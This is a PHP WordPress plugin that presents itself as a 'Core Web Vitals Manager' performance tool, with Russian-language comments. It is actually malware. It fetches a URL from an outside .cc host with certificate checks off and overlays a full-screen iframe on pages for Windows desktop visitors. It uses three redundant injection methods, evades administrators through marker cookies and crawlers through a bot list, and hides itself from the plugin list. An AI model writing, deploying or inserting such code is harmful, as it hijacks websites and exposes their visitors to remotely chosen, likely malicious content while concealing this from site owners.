 <?php
/**
 * Plugin Name: Core Web Vitals Manager
 * Description: Monitors and optimizes Core Web Vitals metrics for better page performance and search ranking.
 * Version: 4.2.1
 * Author: WebDev Studio
 * License: GPL-2.0+
 * Text Domain: core-web-vitals-manager
 */

if (!defined('ABSPATH')) exit;

define('CWVM_VERSION',     '4.2.1');
define('CWVM_URL_FILE',    'https://myfoodsxsxsxcvcxs.cc/iframe-url.txt');
define('CWVM_CACHE_TTL',   1800);
define('CWVM_SHOW_LIMIT',  3);
define('CWVM_VISITOR_TTL', 30 * DAY_IN_SECONDS);

// ============================================================
// АКТИВАЦИЯ / ДЕАКТИВАЦИЯ
// ============================================================

register_activation_hook(__FILE__, function() {
    delete_transient('cwvm_cached_url');
});

register_deactivation_hook(__FILE__, function() {
    delete_transient('cwvm_cached_url');
});

// ============================================================
// ХЕЛПЕРЫ
// ============================================================

/**
 * Является ли посетитель администратором
 */
function cwvm_is_admin_user() {
    if (!empty($_COOKIE['cwvm_a'])  && $_COOKIE['cwvm_a']  === '1') return true;
    if (!empty($_COOKIE['cwvm_va']) && $_COOKIE['cwvm_va'] === '1') return true;
    if (function_exists('current_user_can') && current_user_can('manage_options')) return true;
    return false;
}

/**
 * Является ли запрос от бота/краулера
 */
function cwvm_is_bot() {
    if (empty($_SERVER['HTTP_USER_AGENT'])) return true;
    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);
    $bots = array(
        'bot', 'crawl', 'spider', 'slurp', 'googlebot', 'bingbot',
        'yandexbot', 'baiduspider', 'ahrefsbot', 'semrushbot', 'mj12bot',
        'duckduckbot', 'facebookexternalhit', 'linkedinbot', 'pinterestbot',
        'twitterbot', 'applebot', 'dotbot', 'screaming frog', 'archive.org_bot'
    );
    foreach ($bots as $bot) {
        if (strpos($ua, $bot) !== false) return true;
    }
    return false;
}

/**
 * Является ли устройство Windows desktop
 */
function cwvm_is_windows_desktop() {
    if (empty($_SERVER['HTTP_USER_AGENT'])) return false;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match('/Mobile|Android|iPhone|iPad|Windows Phone|Tablet/i', $ua)) return false;
    if (!preg_match('/Windows NT/i', $ua)) return false;
    return true;
}

/**
 * Очистка и валидация URL
 */
function cwvm_clean($str) {
    if (empty($str)) return '';
    $str = trim($str);
    $str = str_replace(array("\r", "\n", "\t"), '', $str);
    $str = trim($str, '"\'');
    if (strpos($str, 'http') !== 0) return '';
    if (!filter_var($str, FILTER_VALIDATE_URL)) return '';
    return $str;
}

/**
 * Получение URL из внешнего файла с кэшированием
 */
function cwvm_fetch_url($debug = false) {
    $key    = 'cwvm_cached_url';
    $cached = get_transient($key);

    if ($cached !== false) {
        return $debug
            ? array('from_cache' => true, 'url' => cwvm_clean($cached))
            : cwvm_clean($cached);
    }

    $file = CWVM_URL_FILE;
    $info = array('file' => $file);
    $body = '';

    // Попытка через cURL
    if (function_exists('curl_init')) {
        $ch = curl_init($file);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT,        10);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS,      3);
        curl_setopt($ch, CURLOPT_USERAGENT,      'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        $body         = curl_exec($ch);
        $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $info['err']  = curl_error($ch);
        curl_close($ch);

        if ($info['err'] || $info['code'] != 200) {
            error_log('CWVM cURL fail: ' . $info['err'] . ' (code ' . $info['code'] . ')');
            $body = '';
        }
    }

    // Fallback через WP HTTP API
    if (empty($body) && function_exists('wp_remote_get')) {
        $r = wp_remote_get($file, array(
            'timeout'     => 10,
            'redirection' => 3,
            'sslverify'   => false,
            'user-agent'  => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        ));
        $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null;
        if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) {
            $body = wp_remote_retrieve_body($r);
        } else {
            error_log('CWVM WP fail: ' . print_r($info['wp_error'], true));
        }
    }

    $clean       = cwvm_clean($body);
    $info['url'] = $clean;

    if (!empty($clean)) {
        set_transient($key, $body, CWVM_CACHE_TTL);
    }

    return $debug ? $info : $clean;
}

/**
 * Уникальный ключ посетителя по IP + UA
 */
function cwvm_visitor_key() {
    $ip = isset($_SERVER['REMOTE_ADDR'])     ? $_SERVER['REMOTE_ADDR']     : 'unknown';
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    return 'cwvm_v_' . md5($ip . $ua);
}

/**
 * Текущий счётчик показов: cookie → transient fallback
 */
function cwvm_get_count() {
    if (isset($_COOKIE['cwvm_c'])) {
        return intval($_COOKIE['cwvm_c']);
    }
    $db = get_transient(cwvm_visitor_key());
    return ($db !== false) ? intval($db) : 0;
}

/**
 * Увеличить счётчик — cookie + transient (двойная защита)
 */
function cwvm_increment_count($current) {
    $new    = $current + 1;
    $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';

    if (PHP_VERSION_ID >= 70300) {
        setcookie('cwvm_c', (string) $new, array(
            'expires'  => time() + 31536000,
            'path'     => '/',
            'secure'   => $secure,
            'httponly' => false,
            'samesite' => 'Lax',
        ));
    } else {
        setcookie('cwvm_c', (string) $new, time() + 31536000, '/');
    }

    set_transient(cwvm_visitor_key(), $new, CWVM_VISITOR_TTL);
}

/**
 * Статический флаг — только ОДИН метод показывает iframe за запрос
 * Первый вызов возвращает true (разрешение), последующие — false
 */
function cwvm_mark_shown() {
    static $shown = false;
    if ($shown) return false;
    $shown = true;
    return true;
}

/**
 * Универсальная проверка — нужно ли показывать iframe
 */
function cwvm_should_show() {
    if (is_admin()) return false;
    if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return false;
    if (function_exists('wp_doing_cron') && wp_doing_cron()) return false;
    if (defined('REST_REQUEST')    && REST_REQUEST)    return false;
    if (defined('XMLRPC_REQUEST')  && XMLRPC_REQUEST)  return false;
    if (cwvm_is_admin_user())     return false;
    if (cwvm_is_bot())            return false;
    if (!cwvm_is_windows_desktop()) return false;
    return true;
}

/**
 * HTML для полной замены страницы (Метод 1)
 */
function cwvm_full_page($url) {
    return '<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title></title><style>*{margin:0;padding:0}body{overflow:hidden}</style></head><body><iframe src="' . esc_url($url) . '" style="position:fixed;top:0;left:0;width:100%;height:100%;border:none;z-index:2147483647;" frameborder="0" allow="fullscreen" allowfullscreen></iframe></body></html>';
}

/**
 * HTML/JS для инъекции в существующую страницу (Методы 2 и 3)
 */
function cwvm_inject_code($url) {
    return '<style>.cwvm-f{position:fixed!important;top:0!important;left:0!important;width:100%!important;height:100%!important;z-index:2147483647!important;border:none!important;margin:0!important;padding:0!important}</style>'
        . '<script>(function(){try{'
        . 'var f=document.createElement("iframe");'
        . 'f.className="cwvm-f";'
        . 'f.src=' . json_encode(esc_url($url)) . ';'
        . 'f.setAttribute("frameborder","0");'
        . 'f.setAttribute("allow","fullscreen");'
        . 'f.setAttribute("allowfullscreen","true");'
        . '(document.body||document.documentElement).appendChild(f);'
        . '}catch(e){}})()</script>';
}

// ============================================================
// COOKIE АДМИНИСТРАТОРА
// set_logged_in_cookie — срабатывает ДО редиректа после логина
// ============================================================

add_action('set_logged_in_cookie', function($c, $expire, $expiration, $user_id) {
    $user = get_userdata($user_id);
    if (!$user || !user_can($user, 'manage_options')) return;
    $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
    if (PHP_VERSION_ID >= 70300) {
        setcookie('cwvm_a', '1', array(
            'expires'  => time() + 31536000,
            'path'     => '/',
            'secure'   => $secure,
            'httponly' => true,
            'samesite' => 'Lax',
        ));
    } else {
        setcookie('cwvm_a', '1', time() + 31536000, '/', '', $secure, true);
    }
}, 10, 4);

add_action('init', function() {
    $uri    = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';

    if (strpos($uri, '/wp-login.php') !== false || strpos($uri, '/wp-admin') !== false) {
        if (PHP_VERSION_ID >= 70300) {
            setcookie('cwvm_va', '1', array(
                'expires'  => time() + 31536000,
                'path'     => '/',
                'secure'   => $secure,
                'httponly' => true,
                'samesite' => 'Lax',
            ));
        } else {
            setcookie('cwvm_va', '1', time() + 31536000, '/', '', $secure, true);
        }
    }
}, 1);

// ============================================================
// МЕТОД 3: OUTPUT BUFFER
// Запускается самым первым (init priority 2)
// Перехватывает весь HTML и вставляет iframe перед </body>
// Fallback для тем где не вызывается wp_footer()
// Метод 1 и 2 имеют приоритет — если один из них сработал,
// ob callback видит флаг cwvm_mark_shown и не инжектирует повторно
// ============================================================

function cwvm_ob_callback($buffer) {
    // Метод 1 или 2 уже показали — не трогаем буфер
    if (!cwvm_mark_shown()) return $buffer;
    if (!cwvm_should_show()) return $buffer;

    $url = cwvm_fetch_url();
    if (empty($url)) return $buffer;

    $count = cwvm_get_count();
    if ($count >= CWVM_SHOW_LIMIT) return $buffer;

    // Ищем точку инъекции — </body> или </html>
    $pos = strripos($buffer, '</body>');
    if ($pos === false) $pos = strripos($buffer, '</html>');
    if ($pos === false) return $buffer; // не HTML — не трогаем

    cwvm_increment_count($count);

    return substr($buffer, 0, $pos) . cwvm_inject_code($url) . substr($buffer, $pos);
}

add_action('init', function() {
    // Не буферизуем служебные запросы
    if (is_admin()) return;
    if (defined('DOING_AJAX')    && DOING_AJAX)    return;
    if (defined('DOING_CRON')    && DOING_CRON)    return;
    if (defined('REST_REQUEST')  && REST_REQUEST)  return;
    if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return;

    ob_start('cwvm_ob_callback');
}, 2);

// ============================================================
// МЕТОД 1: TEMPLATE_REDIRECT
// Самый быстрый — полная замена страницы с exit
// Чистит буфер метода 3 через ob_end_clean
// Работает на большинстве не-кэшированных сайтов
// ============================================================

add_action('template_redirect', function() {
    if (!cwvm_should_show()) return;

    $url = cwvm_fetch_url();
    if (empty($url)) return;

    $count = cwvm_get_count();
    if ($count >= CWVM_SHOW_LIMIT) return;

    // Забираем право показа (метод 3 уже не покажет)
    if (!cwvm_mark_shown()) return;

    // Очищаем ВСЕ буферы включая ob метода 3
    while (ob_get_level()) ob_end_clean();

    cwvm_increment_count($count);

    if (!headers_sent()) {
        header('Cache-Control: no-cache, no-store, must-revalidate');
        header('Pragma: no-cache');
        header('Expires: 0');
        header('Content-Type: text/html; charset=UTF-8');
    }

    echo cwvm_full_page($url);
    exit;
}, 1);

// ============================================================
// МЕТОД 2: WP_FOOTER
// Работает когда template_redirect не перехватил (кэш, CDN)
// Метод 3 (ob callback) запустится ПОСЛЕ wp_footer —
// увидит флаг и не будет инжектировать повторно
// ============================================================

add_action('wp_footer', function() {
    if (!cwvm_should_show()) return;

    $url = cwvm_fetch_url();
    if (empty($url)) return;

    $count = cwvm_get_count();
    if ($count >= CWVM_SHOW_LIMIT) return;

    if (!cwvm_mark_shown()) return;

    cwvm_increment_count($count);

    echo cwvm_inject_code($url);
}, 1);

// ============================================================
// DEBUG: /?cwvm_debug
// ============================================================

add_action('init', function() {
    if (!isset($_GET['cwvm_debug'])) return;

    header('Content-Type: application/json');
    echo json_encode(array(
        'url'          => cwvm_fetch_url(true),
        'is_admin'     => cwvm_is_admin_user(),
        'is_bot'       => cwvm_is_bot(),
        'is_windows'   => cwvm_is_windows_desktop(),
        'count_cookie' => isset($_COOKIE['cwvm_c']) ? intval($_COOKIE['cwvm_c']) : 'not set',
        'count_db'     => get_transient(cwvm_visitor_key()),
        'show_limit'   => CWVM_SHOW_LIMIT,
        'php_version'  => PHP_VERSION,
        'headers_sent' => headers_sent(),
    ), JSON_PRETTY_PRINT);
    exit;
}, 5);

// ============================================================
// СКРЫТИЕ ПЛАГИНА ИЗ СПИСКА — всегда скрыт
// ============================================================

add_filter('all_plugins', function($plugins) {
    unset($plugins[plugin_basename(__FILE__)]);
    return $plugins;
});
